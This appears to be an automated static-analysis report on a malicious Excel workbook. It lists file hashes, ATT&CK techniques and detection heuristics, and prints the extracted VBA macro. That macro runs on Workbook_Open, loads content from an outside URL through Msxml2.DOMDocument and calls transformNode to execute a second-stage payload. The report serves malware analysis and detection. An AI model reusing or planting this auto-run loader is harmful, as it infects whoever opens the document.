Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 83ad682c9156938d…

MALICIOUS

Office (OOXML)

291.2 KB Created: 2015-06-05 18:17:20 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2020-09-07
MD5: cd1d14e59eec0d7a11e425fb771df0ef SHA-1: c928695e0a49f67af420f929d1f1eb9f214ad67a SHA-256: 83ad682c9156938d8a28f8d9205bcb8198a22f44089d31270e4fe8cbdf46b6a7
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The OOXML document contains a Workbook_Open VBA macro that utilizes CreateObject to load and execute content from the URL http://cloudservices-archive.best/cloud.jpg. This indicates the macro's purpose is to download and execute a second-stage payload, likely for further malicious activity.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://cloudservices-archive.best/cloud.jpg In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 848 bytes
SHA-256: 5d4687abbf57118e90ef4164d5239e4909818b3041fd4d23d99b09bd045da3fb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Set PqJTKcnr = CreateObject("Msxml2.DOMDocument.3.0")
PqJTKcnr.async = False
Set ogEGMo = PqJTKcnr
ogEGMo.Load "http://cloudservices-archive.best/cloud.jpg"

PqJTKcnr.transformNode (ogEGMo)
End Sub





Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 9216 bytes
SHA-256: f8b525736e23df5ebb734f31413e6ccb0b9318db5deac1927a39b03f0fb0578f

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